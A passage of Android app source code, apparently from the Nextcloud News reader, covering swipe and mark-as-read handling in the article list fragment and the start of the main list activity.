onRequestDisallowInterceptTouchEvent(boolean disallowIntercept) {\n            }\n        };\n\n        return binding.getRoot();\n    }\n\n    private void handleMarkAsReadScrollEvent(int firstVisibleItem, int lastVisibleItem, int visibleItemCount, boolean reachedBottom, NewsListRecyclerAdapter adapter) {\n        // Exit if the position didn't change.\n        if (firstVisibleItem == previousFirstVisibleItem && !reachedBottom) {\n            return;\n        }\n        previousFirstVisibleItem = firstVisibleItem;\n\n        //Log.v(TAG, \"First visible: \" + firstVisibleItem + \" - Last visible: \" + lastVisibleItem + \" - visible count: \" + visibleItemCount + \" - total count: \" + totalItemCount);\n\n        //Set the item at top to read\n        //ViewHolder vh = (ViewHolder) recyclerView.findViewHolderForLayoutPosition(firstVisibleItem);\n\n        // Mark the first two items as read\n        final int numberItemsAhead = 1;\n        for (int i = firstVisibleItem; i < firstVisibleItem + numberItemsAhead; i++) {\n            //Log.v(TAG, \"Mark item as read: \" + i);\n\n            RssItemViewHolder vh = (RssItemViewHolder) binding.list.findViewHolderForLayoutPosition(i);\n            if (vh != null && !vh.shouldStayUnread()) {\n                adapter.changeReadStateOfItem(vh, true);\n            }\n        }\n\n        //Check if Listview is scrolled to bottom\n        if (reachedBottom && visibleItemCount != 0 && //Check if list is empty\n                binding.list.getChildAt(visibleItemCount).getBottom() <= binding.list.getHeight()) {\n\n            for (int i = firstVisibleItem; i <= lastVisibleItem; i++) {\n                RecyclerView.ViewHolder vhTemp = binding.list.findViewHolderForLayoutPosition(i);\n\n                if (vhTemp instanceof RssItemViewHolder vh) { //Check for ViewHolder instance because of ProgressViewHolder\n\n                    if (!vh.shouldStayUnread()) {\n                        adapter.changeReadStateOfItem(vh, true);\n                    } else {\n                        Log.v(TAG, \"shouldStayUnread\");\n                    }\n                }\n            }\n        }\n    }\n\n    @Override\n    public void onInflate(@NonNull Context context, @NonNull AttributeSet attrs, Bundle savedInstanceState) {\n        super.onInflate(context, attrs, savedInstanceState);\n\n        ((NewsReaderApplication) requireActivity().getApplication()).getAppComponent().injectFragment(this);\n\n        updateSwipeDrawables(true);\n    }\n\n    /**\n     *\n     * @param forceUpdate force swipe drawables to be reloaded\n     */\n    private void updateSwipeDrawables(boolean forceUpdate) {\n        String leftAction  = mPrefs.getString(SP_SWIPE_LEFT_ACTION, SP_SWIPE_LEFT_ACTION_DEFAULT);\n        String rightAction = mPrefs.getString(SP_SWIPE_RIGHT_ACTION, SP_SWIPE_RIGHT_ACTION_DEFAULT);\n\n        if (!forceUpdate && leftAction.equals(prevLeftAction) && rightAction.equals(prevRightAction)) {\n            return;\n        }\n\n        prevLeftAction  = leftAction;\n        prevRightAction = rightAction;\n        int leftId  = getLayoutId(leftAction);\n        int rightId = getLayoutId(rightAction);\n\n        TypedArray styledAttributes = requireContext().obtainStyledAttributes(new int[]{leftId, rightId});\n        leftSwipeDrawable = styledAttributes.getDrawable(0);\n        rightSwipeDrawable = styledAttributes.getDrawable(1);\n        styledAttributes.recycle();\n    }\n\n    private int getLayoutId(String action) {\n        switch (action) {\n            case \"0\": return R.attr.openinbrowserDrawable;\n            case \"1\": return R.attr.starredDrawable;\n            case \"2\": return R.attr.markasreadDrawable;\n            case \"3\": return R.attr.shareDrawable;\n            default:\n                Log.e(TAG, \"Invalid option saved to prefs. This should not happen\");\n                return Integer.MAX_VALUE;\n        }\n    }\n\n    @Override\n    public void onViewStateRestored(Bundle savedInstanceState) {\n        if (savedInstanceState != null)\n            layoutManagerSavedState = savedInstanceState.getParcelable(LAYOUT_MANAGER_STATE);\n        super.onViewStateRestored(savedInstanceState);\n    }\n\n    @Override\n    public void onSaveInstanceState(@NonNull Bundle outState) {\n        super.onSaveInstanceState(outState);\n\n        outState.putParcelable(LAYOUT_MANAGER_STATE, getLayoutManager().onSaveInstanceState());\n    }\n\n    public int getFirstVisibleScrollPosition() {\n        LinearLayoutManager layoutManager = ((LinearLayoutManager) binding.list.getLayoutManager());\n        return layoutManager.findFirstVisibleItemPosition();\n    }\n\n    private class UpdateCurrentRssViewTask extends AsyncTask<Void, Void, List<RssItem>> {\n\n        @Override\n        protected void onPreExecute() {\n            binding.pbLoading.setVisibility(View.VISIBLE);\n            binding.tvNoItemsAvailable.getRoot().setVisibility(View.GONE);\n            super.onPreExecute();\n        }\n\n        @Override\n        protected List<RssItem> doInBackground(Void... voids) {\n            DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(NewsReaderDetailFragment.this.getContext());\n            SORT_DIRECTION sortDirection = getSortDirection(mPrefs);\n            boolean onlyUnreadItems = mPrefs.getBoolean(SettingsActivity.CB_SHOWONLYUNREAD_STRING, false);\n            boolean onlyStarredItems = idFolder != null && idFolder == ALL_STARRED_ITEMS.getValue();\n\n            String sqlSelectStatement = null;\n            if (idFeed != null) {\n                if (idFolder != null && idFolder == ALL_UNREAD_ITEMS.getValue()) {\n                    onlyUnreadItems = true;\n                }\n                sqlSelectStatement = dbConn.getAllItemsIdsForFeedSQL(idFeed, onlyUnreadItems, onlyStarredItems, sortDirection);\n            } else if (idFolder != null) {\n                if (idFolder == ALL_STARRED_ITEMS.getValue() || idFolder == ALL_DOWNLOADED_PODCASTS.getValue())\n                    onlyUnreadItems = false;\n                sqlSelectStatement = dbConn.getAllItemsIdsForFolderSQL(idFolder, onlyUnreadItems, sortDirection, mActivity);\n            }\n            if (sqlSelectStatement != null) {\n                int index = sqlSelectStatement.indexOf(\"ORDER BY\");\n                if (index == -1) {\n                    index = sqlSelectStatement.length();\n                }\n                sqlSelectStatement = new StringBuilder(sqlSelectStatement).insert(index, \" GROUP BY \" + RssItemDao.Properties.Fingerprint.columnName + \" \").toString();\n                dbConn.insertIntoRssCurrentViewTable(sqlSelectStatement);\n            }\n\n            StopWatch sw = new StopWatch();\n            sw.start();\n\n            List<RssItem> items = dbConn.getCurrentRssItemView(0);\n\n            if (idFolder == ALL_DOWNLOADED_PODCASTS.getValue()) {\n                items = items.stream().filter((rss) -> {\n                    var podcast = DatabaseConnectionOrm.ParsePodcastItemFromRssItem(mActivity, rss);\n                    return podcast.offlineCached;\n                }).collect(Collectors.toList());\n            }\n\n            sw.stop();\n            Log.v(TAG, \"Time needed (init loading): \" + sw);\n\n            return items;\n        }\n\n        @Override\n        protected void onPostExecute(List<RssItem> rssItem) {\n            loadRssItemsIntoView(rssItem);\n\n            if (rssItem.size() < 10) { // Less than 10 items in the list (usually 3-5 items fit on one screen)\n                // There is no API to check, if this listener has already been added. We don't want to\n                // add it multiple times, so we take the safe route here by removing it before adding it.\n                binding.list.removeOnItemTouchListener(itemTouchListener);\n                binding.list.addOnItemTouchListener(itemTouchListener);\n            } else {\n                binding.list.removeOnItemTouchListener(itemTouchListener);\n            }\n        }\n    }\n\n    // This Gesture listener is only attached when there are few articles on the screen (e.g. less than 10)\n    // because the list onScroll callback won't be triggered when all items fit on the screen. Therefore\n    // we use this gesture listener to detect swipes on the screen\n    private class RecyclerViewOnGestureListener extends GestureDetector.SimpleOnGestureListener {\n\n        private int minLeftEdgeDistance = -1;\n\n        private void initEdgeDistance() {\n            if (getResources().getBoolean(R.bool.isTablet)) {\n                // if tablet mode enabled, the navigation drawer will always be visible.\n                // Therefore we don't need no offset here\n                minLeftEdgeDistance = 0;\n            } else {\n                // otherwise, have left-edge offset to avoid mark-read gesture when user is pulling to open drawer\n                minLeftEdgeDistance = ((NewsReaderListActivity) mActivity).getEdgeSizeOfDrawer();\n            }\n        }\n\n        @Override\n        public boolean onScroll(MotionEvent e1, MotionEvent e2, float distanceX, float distanceY) {\n            if (minLeftEdgeDistance == -1) { // if not initialized\n                initEdgeDistance();\n            }\n\n            if (e1 == null) {\n                Log.e(TAG, \"motion event 1 is null\");\n                return false;\n            }\n            if (e2 == null) {\n                Log.e(TAG, \"motion event 2 is null\");\n                return false;\n            }\n\n\n            LinearLayoutManager linearLayoutManager = (LinearLayoutManager) binding.list.getLayoutManager();\n            NewsListRecyclerAdapter adapter = (NewsListRecyclerAdapter) binding.list.getAdapter();\n\n            if (linearLayoutManager == null || adapter == null) {\n                return false;\n            }\n\n            int firstVisibleItem = linearLayoutManager.findFirstVisibleItemPosition();\n            int lastVisibleItem = linearLayoutManager.findLastVisibleItemPosition();\n            int visibleItemCount = lastVisibleItem - firstVisibleItem;\n            int totalItemCount = adapter.getItemCount();\n            boolean reachedBottom = (lastVisibleItem == (totalItemCount - 1));\n\n            if (mMarkAsReadWhileScrollingEnabled &&\n                    e1.getX() > minLeftEdgeDistance &&   // only if gesture starts a bit away from left window edge\n                    (e2.getY() - e1.getY()) < 0) {       // and if swipe direction is upwards\n                handleMarkAsReadScrollEvent(firstVisibleItem, lastVisibleItem, visibleItemCount, reachedBottom, adapter);\n                return true;\n            }\n            return false;\n        }\n    }\n\n    // TODO: somehow always cancel item out animation\n    private class NewsReaderItemTouchHelperCallback extends ItemTouchHelper.SimpleCallback {\n        public NewsReaderItemTouchHelperCallback() {\n            super(0, ItemTouchHelper.LEFT | ItemTouchHelper.RIGHT);\n        }\n\n        @Override\n        public float getSwipeThreshold(@NonNull RecyclerView.ViewHolder viewHolder) {\n            return 0.25f;\n        }\n\n        @Override\n        public boolean onMove(@NonNull RecyclerView recyclerView, @NonNull RecyclerView.ViewHolder viewHolder, @NonNull RecyclerView.ViewHolder target) {\n            return false;\n        }\n\n        @Override\n        public void onSwiped(@NonNull final RecyclerView.ViewHolder viewHolder, final int direction) {\n            final NewsListRecyclerAdapter adapter = (NewsListRecyclerAdapter) binding.list.getAdapter();\n\n            String swipeAction;\n            if (direction == ItemTouchHelper.LEFT)\n                swipeAction = mPrefs.getString(SP_SWIPE_LEFT_ACTION, SP_SWIPE_LEFT_ACTION_DEFAULT);\n            else\n                swipeAction = mPrefs.getString(SP_SWIPE_RIGHT_ACTION, SP_SWIPE_RIGHT_ACTION_DEFAULT);\n            switch (swipeAction) {\n                case \"0\": // Open link in browser and mark as read\n                    String currentUrl = ((RssItemViewHolder) viewHolder).getRssItem().getLink();\n                    Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(currentUrl));\n                    startActivity(browserIntent);\n                    adapter.changeReadStateOfItem((RssItemViewHolder) viewHolder, true);\n                    break;\n                case \"1\": // Star\n                    adapter.toggleStarredStateOfItem((RssItemViewHolder) viewHolder);\n                    break;\n                case \"2\": // Read\n                    adapter.toggleReadStateOfItem((RssItemViewHolder) viewHolder);\n                    break;\n                case \"3\": // Share\n                    RssItem rssItem = ((RssItemViewHolder) viewHolder).getRssItem();\n                    String title = rssItem.getTitle();\n                    String content = rssItem.getLink();\n\n                    Intent share = new Intent(Intent.ACTION_SEND);\n                    share.setType(\"text/plain\");\n                    share.putExtra(Intent.EXTRA_SUBJECT, title);\n                    share.putExtra(Intent.EXTRA_TEXT, content);\n                    startActivity(Intent.createChooser(share, \"Share Item\"));\n                    break;\n                default:\n                    Log.e(TAG, \"Swipe preferences has an invalid value\");\n                    break;\n            }\n            // Hack to reset view, see https://code.google.com/p/android/issues/detail?id=175798\n            binding.list.removeView(viewHolder.itemView);\n        }\n\n        @Override\n        public void onChildDraw(@NonNull Canvas c, @NonNull RecyclerView recyclerView, @NonNull RecyclerView.ViewHolder viewHolder, float dX, float dY, int actionState, boolean isCurrentlyActive) {\n            super.onChildDraw(c, recyclerView, viewHolder, dX, dY, actionState, isCurrentlyActive);\n            // binding.swipeRefresh cancels swiping left/right when accidentally moving in the y direction;\n            binding.swipeRefresh.setEnabled(!isCurrentlyActive);\n            if (isCurrentlyActive) {\n                Rect viewRect = new Rect();\n                viewHolder.itemView.getDrawingRect(viewRect);\n                float fractionMoved = Math.abs(dX / viewHolder.itemView.getMeasuredWidth());\n                Drawable drawable;\n                if (dX < 0) {\n                    drawable = leftSwipeDrawable;\n                    viewRect.left = (int) dX + viewRect.right;\n                } else {\n                    drawable = rightSwipeDrawable;\n                    viewRect.right = (int) dX - viewRect.left;\n                }\n\n                if (fractionMoved > getSwipeThreshold(viewHolder))\n                    drawable.setState(new int[]{android.R.attr.state_above_anchor});\n                else\n                    drawable.setState(new int[]{-android.R.attr.state_above_anchor});\n\n                viewRect.offset(0, viewHolder.itemView.getTop());\n                drawable.setBounds(viewRect);\n                drawable.draw(c);\n            }\n        }\n    }\n\n    /**\n     * MotionListener for Floating Action Bar Button to mark all articles in current\n     * news feed as marked without using the menu.\n     *\n     * A movement up is required to prevent accidentally marking articles as read.\n     */\n    private class FastMarkReadMotionListener implements View.OnTouchListener {\n        private final View fabMarkAllAsRead;\n        private final ImageView targetView;\n\n        private boolean markAsRead = false;\n        private float originX,\n                      originY;\n        private float dx,\n                      dy;\n\n        public FastMarkReadMotionListener(View fabMarkAllAsRead) {\n            this.fabMarkAllAsRead = fabMarkAllAsRead;\n            this.targetView = fabMarkAllAsRead.findViewById(R.id.target_done_all);\n        }\n\n        @Override\n        public boolean onTouch(View v, MotionEvent event) {\n            switch (event.getAction()) {\n                case MotionEvent.ACTION_DOWN:\n                    this.startUserInteractionProcess(v, event);\n                    break;\n                case MotionEvent.ACTION_MOVE:\n                    this.moveFAB(v, event);\n                    break;\n                case MotionEvent.ACTION_UP:\n                    this.stopUserInteractionProcess(v);\n                    break;\n                default:\n                    // Do nothing\n                    break;\n            }\n            return true;\n        }\n\n        /**\n         * Start Animation for user to drag all read button to target.\n         * Once the button is moved to the target, a success animation is loaded and shown.\n         *\n         * @param v FAB moved by the user\n         * @param event motion event for v\n         */\n\n        private void startUserInteractionProcess(View v, MotionEvent event) {\n            // Save start location of movement and button\n            this.originX = v.getX();\n            this.originY = v.getY();\n            this.dx = v.getX() - event.getRawX();\n            this.dy = v.getY() - event.getRawY();\n            this.markAsRead = false;\n\n            // Start animation of target\n            this.targetView.setImageResource(R.drawable.fa_all_read_target);\n            this.targetView.setVisibility(View.VISIBLE);\n            ((Animatable)this.targetView.getDrawable()).start();\n        }\n\n        /**\n         * Handle move event of FAB to mark all articles as read\n         * Two things are done here:\n         *  - button location is changed\n         *  - it is checked iv button is moved into target area\n         *\n         * @param v FAB moved by the user\n         * @param event motion event for v\n         */\n        private void moveFAB(View v, MotionEvent event) {\n            v.setX(event.getRawX() + this.dx);\n            v.setY(event.getRawY() + this.dy);\n            this.checkLocation(event);\n        }\n\n        /**\n         * Checks if FAB to mark all as read was moved within the shown target area.\n         * For location calculation, the actual location of the target view is read\n         * and calculated if current move position is within the view area of the target view.\n         *\n         * @param evt MotionEvent of all read FAB\n         */\n        private void checkLocation(MotionEvent evt) {\n            // Location on screen for target is required as motion event returns location on screen\n            int[] location = new int[2];\n            this.targetView.getLocationOnScreen(location);\n\n            Rect r = new Rect(location[0], location[1],\n                    (location[0] + targetView.getWidth()),\n                    (location[1] + targetView.getHeight()));\n\n            if (r.contains((int)evt.getRawX(), (int)evt.getRawY())) {\n                if (!this.markAsRead) {\n                    this.markAsRead = true;\n                    this.targetView.setImageResource(R.drawable.fa_all_read_target_success);\n                    ((Animatable) this.targetView.getDrawable()).start();\n                }\n            } else {\n                if (this.markAsRead) {\n                    this.markAsRead = false;\n                    this.targetView.setImageResource(R.drawable.fa_all_read_target);\n                    ((Animatable) this.targetView.getDrawable()).start();\n\n                }\n            }\n        }\n\n        /**\n         * Stops the user interaction\n         *  - FAB is animated back to original position\n         *  - A success animation is shown of all articles will be marked as read\n         *  - Target view is hidden again\n         *\n         * @param v view of fab\n         */\n        private void stopUserInteractionProcess(View v) {\n            if (this.markAsRead) {\n                Animation anim_success = AnimationUtils.loadAnimation(NewsReaderDetailFragment.this.getContext(),\n                        R.anim.all_read_success);\n                anim_success.setAnimationListener(new Animation.AnimationListener() {\n                    @Override\n                    public void onAnimationStart(Animation animation) {\n                        v.animate().x(originX).y(originY).setDuration(100).setStartDelay(0).start();\n                    }\n\n                    @Override\n                    public void onAnimationEnd(Animation animation) {\n                        ((Animatable)targetView.getDrawable()).stop();\n                        targetView.setVisibility(View.INVISIBLE);\n                    }\n\n                    @Override\n                    public void onAnimationRepeat(Animation animation) {\n                        //Nothing to do here for now\n                    }\n                });\n                this.targetView.startAnimation(anim_success);\n                this.markAllAsReadForCurrentView();\n            } else {\n                this.targetView.setVisibility(View.INVISIBLE);\n                v.animate().x(this.originX).y(this.originY).setDuration(100).setStartDelay(0).start();\n                ((Animatable)this.targetView.getDrawable()).stop();\n            }\n        }\n\n        /**\n         * Mark all articles in current view as read.\n         */\n        private void markAllAsReadForCurrentView() {\n            DatabaseConnectionOrm dbConn2 = new DatabaseConnectionOrm(this.fabMarkAllAsRead.getContext());\n            var deletedCount = dbConn2.markAllItemsAsReadForCurrentView();\n            NewsReaderDetailFragment.this.refreshCurrentRssView();\n            Snackbar.make(\n                    fabMarkAllAsRead,\n                    getResources().getQuantityString(\n                            R.plurals.marked_as_read_message,\n                            deletedCount,\n                            deletedCount\n                    ),\n                    BaseTransientBottomBar.LENGTH_SHORT\n            ).setAnchorView(fabMarkAllAsRead).show();\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/NewsReaderListActivity.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader;\n\nimport static androidx.annotation.VisibleForTesting.PROTECTED;\nimport static de.luhmer.owncloudnewsreader.LoginDialogActivity.RESULT_LOGIN;\nimport static de.luhmer.owncloudnewsreader.LoginDialogActivity.ShowAlertDialog;\nimport static de.luhmer.owncloudnewsreader.SettingsActivity.PREF_SERVER_SETTINGS;\n\nimport android.Manifest;\nimport android.accounts.Account;\nimport android.accounts.AccountManager;\nimport android.annotation.SuppressLint;\nimport android.app.Activity;\nimport android.content.ContentResolver;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.content.SharedPreferences;\nimport android.content.pm.PackageManager;\nimport android.content.res.Configuration;\nimport android.graphics.drawable.Drawable;\nimport android.net.Uri;\nimport android.os.Build;\nimport android.os.Bundle;\nimport android.util.Log;\nimport android.view.Menu;\nimport android.view.MenuItem;\nimport android.view.View;\nimport android.widget.SearchView;\nimport android.widget.Toast;\n\nimport androidx.activity.OnBackPressedCallback;\nimport androidx.annotation.NonNull;\nimport androidx.annotation.Nullable;\nimport androidx.annotation.VisibleForTesting;\nimport androidx.appcompat.app.ActionBarDrawerToggle;\nimport androidx.appcompat.app.AlertDialog;\nimport androidx.browser.customtabs.CustomTabsIntent;\nimport androidx.core.view.GravityCompat;\nimport androidx.customview.widget.ViewDragHelper;\nimport androidx.fragment.app.DialogFragment;\nimport androidx.fragment.app.Fragment;\nimport androidx.fragment.app.FragmentManager;\nimport androidx.fragment.app.FragmentTransaction;\nimport androidx.preference.PreferenceManager;\nimport androidx.swiperefreshlayout.widget.SwipeRefreshLayout;\n\nimport com.bumptech.glide.Glide;\nimport com.bumptech.glide.load.engine.DiskCacheStrategy;\nimport com.bumptech.glide.request.target.CustomTarget;\nimport com.bumptech.glide.request.target.Target;\nimport com.bumptech.glide.request.transition.Transition;\nimport com.google.android.material.snackbar.Snackbar;\nimport com.nextcloud.android.sso.AccountImporter;\nimport com.nextcloud.android.sso.api.NextcloudAPI;\nimport com.nextcloud.android.sso.exceptions.AccountImportCancelledException;\nimport com.nextcloud.android.sso.exceptions.NextcloudFilesAppAccountNotFoundException;\nimport com.nextcloud.android.sso.exceptions.NextcloudFilesAppAccountPermissionNotGrantedException;\nimport com.nextcloud.android.sso.exceptions.NextcloudFilesAppNotSupportedException;\nimport com.nextcloud.android.sso.exceptions.NextcloudHttpRequestFailedException;\nimport com.nextcloud.android.sso.exceptions.NoCurrentAccountSelectedException;\nimport com.nextcloud.android.sso.exceptions.SSOException;\nimport com.nextcloud.android.sso.exceptions.TokenMismatchException;\nimport com.nextcloud.android.sso.helper.SingleAccountHelper;\nimport com.nextcloud.android.sso.ui.UiExceptionManager;\nimport com.sothree.slidinguppanel.SlidingUpPanelLayout;\n\nimport org.greenrobot.eventbus.Subscribe;\nimport org.greenrobot.eventbus.ThreadMode;\n\nimport java.lang.reflect.Field;\nimport java.util.Arrays;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Objects;\nimport java.util.concurrent.TimeUnit;\n\nimport javax.inject.Inject;\nimport javax.inject.Named;\n\nimport de.luhmer.owncloudnewsreader.ListView.SubscriptionExpandableListAdapter;\nimport de.luhmer.owncloudnewsreader.adapter.NewsListRecyclerAdapter;\nimport de.luhmer.owncloudnewsreader.adapter.RecyclerItemClickListener;\nimport de.luhmer.owncloudnewsreader.adapter.RssItemViewHolder;\nimport de.luhmer.owncloudnewsreader.authentication.AccountGeneral;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\nimport de.luhmer.owncloudnewsreader.database.model.Folder;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.databinding.ActivityNewsreaderBinding;\nimport de.luhmer.owncloudnewsreader.helper.DatabaseUtilsKt;\nimport de.luhmer.owncloudnewsreader.helper.ThemeChooser;\nimport de.luhmer.owncloudnewsreader.model.OcsUser;\nimport de.luhmer.owncloudnewsreader.reader.nextcloud.RssItemObservable;\nimport de.luhmer.owncloudnewsreader.services.DownloadImagesService;\nimport de.luhmer.owncloudnewsreader.services.DownloadWebPageService;\nimport de.luhmer.owncloudnewsreader.services.OwnCloudSyncService;\nimport de.luhmer.owncloudnewsreader.services.events.SyncFailedEvent;\nimport de.luhmer.owncloudnewsreader.services.events.SyncFinishedEvent;\nimport de.luhmer.owncloudnewsreader.services.events.SyncStartedEvent;\nimport de.luhmer.owncloudnewsreader.ssl.OkHttpSSLClient;\nimport de.luhmer.owncloudnewsreader.view.PodcastSlidingUpPanelLayout;\nimport io.reactivex.rxjava3.android.schedulers.AndroidSchedulers;\nimport io.reactivex.rxjava3.core.Completable;\nimport io.reactivex.rxjava3.functions.Action;\nimport io.reactivex.rxjava3.observers.DisposableObserver;\nimport io.reactivex.rxjava3.schedulers.Schedulers;\nimport io.reactivex.rxjava3.subjects.PublishSubject;\n\n/**\n * An activity representing a list of NewsReader. This activity has different\n * presentations for handset and tablet-size devices.\n * The activity makes heavy use of fragments. The list of items is a\n * {@link NewsReaderListFragment} and the item details (if present) is a\n * {@link NewsReaderDetailFragment}.\n * <p>\n * This activity also implements the required\n * {@link NewsReaderListFragment.Callbacks} interface to listen for item\n * selections.\n */\npublic class NewsReaderListActivity extends PodcastFragmentActivity implements\n\t\t NewsReaderListFragment.Callbacks, RecyclerItemClickListener, SwipeRefreshLayout.OnRefreshListener, SearchView.OnQueryTextListener {\n\n\tprivate static final String TAG = NewsReaderListActivity.class.getCanonicalName();\n\n\tpublic static final String ITEM_ID = \"ITEM_ID\";\n\tpublic static final String TITLE = \"TITLE\";\n\n\tpublic static HashSet<Long> stayUnreadItems = new HashSet<>();\n\n\tprivate MenuItem menuItemOnlyUnread;\n\tprivate MenuItem menuItemDownloadMoreItems;\n\n\tprivate Long currentFolderId;\n\n\t@VisibleForTesting(otherwise = PROTECTED)\n\tpublic ActivityNewsreaderBinding binding;\n\n\tprivate boolean mBackOpensDrawer = false;\n\n\t//private ServiceConnection mConnection = null;\n\n\tprivate OcsUser currentUser = null;\n\n\tprivate ActionBarDrawerToggle drawerToggle;\n\tprivate SearchView mSearchView;\n\tprivate String mSearchString;\n\tprivate static final String SEARCH_KEY = \"SEARCH_KEY\";\n\n\tprivate PublishSubject<String> searchPublishSubject;\n\tprivate static final int REQUEST_CODE_PERMISSION_DOWNLOAD_WEB_ARCHIVE = 1;\n\tprivate static final int REQUEST_CODE_PERMISSION_NOTIFICATIONS = 2;\n\n\tprivate static final String ID_FEED_STRING = \"ID_FEED_STRING\";\n\tprivate static final String IS_FOLDER_BOOLEAN = \"IS_FOLDER_BOOLEAN\";\n\tprivate static final String OPTIONAL_FOLDER_ID = \"OPTIONAL_FOLDER_ID\";\n\tprivate static final String LIST_ADAPTER_TOTAL_COUNT = \"LIST_ADAPTER_TOTAL_COUNT\";\n\tprivate static final String LIST_ADAPTER_PAGE_COUNT = \"LIST_ADAPTER_PAGE_COUNT\";\n\n\t@Inject\n\t@Named(\"sharedPreferencesFileName\")\n\tString sharedPreferencesFileName;\n\n\n\tprivate final View.OnClickListener mSnackbarListener = view -> {\n\t\t//Toast.makeText(getActivity(), \"button 1 pressed\", 3000).show();\n\t\tupdateCurrentRssView();\n\t};\n\n\t@Override\n\tpublic void onPostCreate(Bundle savedInstanceState) {\n\t\tsuper.onPostCreate(savedInstanceState);\n\n\t\tif (drawerToggle != null) {\n\t\t\tdrawerToggle.syncState();\n\t\t}\n\n\t\t// Fragments are not ready when calling the method below in onCreate()\n\t\tupdateButtonLayout();\n\n\t\t// Start auto sync if enabled (and user is logged in)\n\t\tif (isUserLoggedIn() && mPrefs.getBoolean(SettingsActivity.CB_SYNCONSTARTUP_STRING, true)) {\n\t\t\tstartSync();\n\t\t}\n\t}\n\n\tprivate boolean isUserLoggedIn() {\n\t\treturn (mPrefs.getString(SettingsActivity.EDT_OWNCLOUDROOTPATH_STRING, null) != null);\n\t}\n\n\tSlidingUpPanelLayout.PanelSlideListener panelSlideListener = new SlidingUpPanelLayout.PanelSlideListener() {\n\t\t@Override\n\t\tpublic void onPanelSlide(View panel, float slideOffset) {\n\t\t}\n\n\t\t@Override\n\t\tpublic void onPanelStateChanged(View panel, SlidingUpPanelLayout.PanelState previousState, SlidingUpPanelLayout.PanelState newState) {\n\t\t\tboolean panelIsOpen = newState.equals(SlidingUpPanelLayout.PanelState.EXPANDED);\n\t\t\t// in case the podcast panel is open, we need to close it first (intercept back presses)\n\t\t\tonBackPressedCallback.setEnabled(panelIsOpen || mBackOpensDrawer);\n\t\t}\n\t};\n\n\tOnBackPressedCallback onBackPressedCallback = new OnBackPressedCallback(true) {\n\t\t// we need to handle two cases:\n\t\t// - The user has the \"Open Sidebar on Backpress\" option enabled\n\t\t//   - the callback need to be set because we want to close the podcast pane on back navigation (in case it's open)\n\t\t//   - set callback will be enabled/disabled based on whether the podcast pane is open/closed\n\t\t// - The user has the \"Open Sidebar on Backpress\" option disabled\n\t\t//   - the callback needs to check first if the podcast is open - if so - close it and on\n\t\t//     the next back navigation open the sidebar - and then close the app\n\t\t//   - once the podcast pane is open - the callback will be disabled\n\t\t//   - the event listener (onDrawerClosed) will enable the back pressed callback again\n\t\t@Override\n\t\tpublic void handleOnBackPressed() {\n\t\t\tLog.d(TAG, \"handleOnBackPressed() 1\");\n\t\t\tif (!handlePodcastBackPressed()) {\n\t\t\t\tLog.d(TAG, \"handleOnBackPressed() 2\");\n\t\t\t\tbinding.drawerLayout.openDrawer(GravityCompat.START);\n\t\t\t\tsetEnabled(false);\n\t\t\t}\n\t\t}\n\t};\n\n    protected DisposableObserver<Boolean> startSyncObserver = new DisposableObserver<>() {\n        @Override\n        public void onNext(@NonNull Boolean nothing) {\n            startSync();\n        }\n\n        @Override\n        public void onError(Throwable e) {\n            Log.e(TAG, e.getMessage());\n        }\n\n        @Override\n        public void onComplete() {\n\n        }\n    };\n\n\t@Override\n\tprotected void onRestoreInstanceState(@NonNull Bundle savedInstanceState) {\n\t\trestoreInstanceState(savedInstanceState);\n\t\tsuper.onRestoreInstanceState(savedInstanceState);\n\t}\n\n\t@Override\n\tprotected void onSaveInstanceState(@NonNull Bundle outState) {\n\t\tsaveInstanceState(outState);\n\t\tsuper.onSaveInstanceState(outState);\n\t}\n\n\tprivate void saveInstanceState(Bundle outState) {\n\t\tNewsReaderDetailFragment ndf = getNewsReaderDetailFragment();\n\t\tif (ndf != null) {\n\t\t\toutState.putLong(OPTIONAL_FOLDER_ID, ndf.getIdFolder());\n\t\t\toutState.putBoolean(IS_FOLDER_BOOLEAN, ndf.getIdFeed() == null);\n\t\t\toutState.putLong(ID_FEED_STRING, ndf.getIdFeed() != null ? ndf.getIdFeed() : ndf.getIdFolder());\n\n\t\t\tNewsListRecyclerAdapter adapter = (NewsListRecyclerAdapter) ndf.getRecyclerView().getAdapter();\n\t\t\tif (adapter != null) {\n\t\t\t\toutState.putInt(LIST_ADAPTER_TOTAL_COUNT, adapter.getTotalItemCount());\n\t\t\t\toutState.putInt(LIST_ADAPTER_PAGE_COUNT, adapter.getCachedPages());\n\t\t\t}\n\t\t}\n\t\tif (mSearchView != null) {\n\t\t\tmSearchString = mSearchView.getQuery().toString();\n\t\t\toutState.putString(SEARCH_KEY, mSearchString);\n\t\t}\n\t}\n\n\tprivate void restoreInstanceState(Bundle savedInstanceState) {\n\t\tif (savedInstanceState.containsKey(ID_FEED_STRING) &&\n\t\t\t\tsavedInstanceState.containsKey(IS_FOLDER_BOOLEAN) &&\n\t\t\t\tsavedInstanceState.containsKey(OPTIONAL_FOLDER_ID)) {\n\n\t\t\tNewsListRecyclerAdapter adapter = new NewsListRecyclerAdapter(this, getNewsReaderDetailFragment().binding.list, this, mPostDelayHandler, 